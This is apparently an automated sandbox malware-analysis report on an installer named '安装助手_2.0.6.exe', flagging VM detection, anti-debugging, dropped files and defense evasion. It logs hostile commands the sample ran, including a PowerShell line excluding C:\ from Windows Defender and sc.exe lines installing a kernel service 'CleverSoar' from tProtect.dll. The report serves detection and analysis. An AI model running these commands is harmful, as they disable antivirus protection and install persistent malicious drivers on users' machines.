Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior

Malware Analysis System Evasion

barindex
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpSystem information queried: FirmwareTableInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6310Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3336Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpWindow / User API: threadDelayed 604Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpWindow / User API: threadDelayed 567Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpWindow / User API: threadDelayed 577Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-R46SO.tmp\update.vacJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpDropped PE file which has not been started: C:\Program Files (x86)\Windows NT\hrsw.vbcJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpDropped PE file which has not been started: C:\Program Files (x86)\Windows NT\trash (copy)Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-V2E3L.tmp\update.vacJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-R46SO.tmp\_isetup\_setup64.tmpJump to dropped file
Source: C:\Program Files (x86)\Windows NT\7zr.exeDropped PE file which has not been started: C:\Program Files (x86)\Windows NT\tProtect.dllJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpDropped PE file which has not been started: C:\Program Files (x86)\Windows NT\is-0F5J3.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-V2E3L.tmp\_isetup\_setup64.tmpJump to dropped file
Source: C:\Program Files (x86)\Windows NT\7zr.exeAPI coverage: 7.4 %
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6428Thread sleep time: -11068046444225724s >= -30000sJump to behavior
Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpCode function: 6_2_6CA1AEC0 FindFirstFileA,FindClose,6_2_6CA1AEC0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00AF6868 __EH_prolog,FindFirstFileW,FindFirstFileW,FindFirstFileW,10_2_00AF6868
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00AF7496 __EH_prolog,GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetLogicalDriveStringsW,10_2_00AF7496
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00AF9C60 GetSystemInfo,10_2_00AF9C60
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000002.00000002.2107441291.0000000001287000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: #U5b89#U88c5#U52a9#U624b_2.0.6.tmp, 00000002.00000002.2107441291.0000000001287000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior

Anti Debugging

barindex
Contains functionality to hide a thread from the debugger
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpCode function: 6_2_6C8A3886 NtSetInformationThread 00000000,00000011,00000000,000000006_2_6C8A3886
Hides threads from debuggers
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpThread information set: HideFromDebuggerJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpThread information set: HideFromDebuggerJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess queried: DebugPortJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpCode function: 6_2_6CA30181 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,6_2_6CA30181
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00B757D0 GetCurrentProcessId,GetCurrentThreadId,LoadLibraryW,GetProcAddress,FreeLibrary,GetTickCount,QueryPerformanceCounter,GetTickCount,10_2_00B757D0
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpCode function: 6_2_6CA39D35 mov eax, dword ptr fs:[00000030h]6_2_6CA39D35
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpCode function: 6_2_6CA39D66 mov eax, dword ptr fs:[00000030h]6_2_6CA39D66
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpCode function: 6_2_6CA2F17D mov eax, dword ptr fs:[00000030h]6_2_6CA2F17D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess token adjusted: DebugJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpCode function: 6_2_6CA28CBD SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,6_2_6CA28CBD
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpCode function: 6_2_6CA30181 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,6_2_6CA30181

HIPS / PFW / Operating System Protection Evasion

barindex
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"Jump to behavior
Found driver which could be used to inject code into processes
Source: tProtect.dll.12.drStatic PE information: Found potential injection code
Source: C:\Users\user\AppData\Local\Temp\is-U5HAP.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess created: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe "C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b_2.0.6.exe" /VERYSILENTJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-6SCB4.tmp\#U5b89#U88c5#U52a9#U624b_2.0.6.tmpProcess created: C:\Windows\System32\sc.exe sc start CleverSoarJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= autoJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoarJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoarJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
